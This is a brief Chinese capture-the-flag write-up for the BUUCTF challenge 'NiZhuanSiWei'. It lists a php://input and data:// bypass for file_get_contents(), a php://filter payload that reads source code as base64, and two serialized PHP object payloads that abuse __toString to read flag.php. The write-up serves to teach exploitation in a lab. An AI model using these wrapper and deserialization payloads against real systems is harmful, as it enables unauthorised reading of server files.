BUUCTF [ZJCTF 2019]NiZhuanSiWei
首先打开页面
这里第一个第二个绕过方式很简单
php://input
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
均可绕过file_get_contents()
有了提示 useless.php
php://filter/read=convert.base64.encode/resource=useless.php
即可读源码
源码信息如上
可以看到是__tostring 当对象被当做字符串输出时即执行的魔法函数
这里总共有两个payload可以拿flag
第一种
O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";
file_get_contents()也可以解析 php://filter伪协议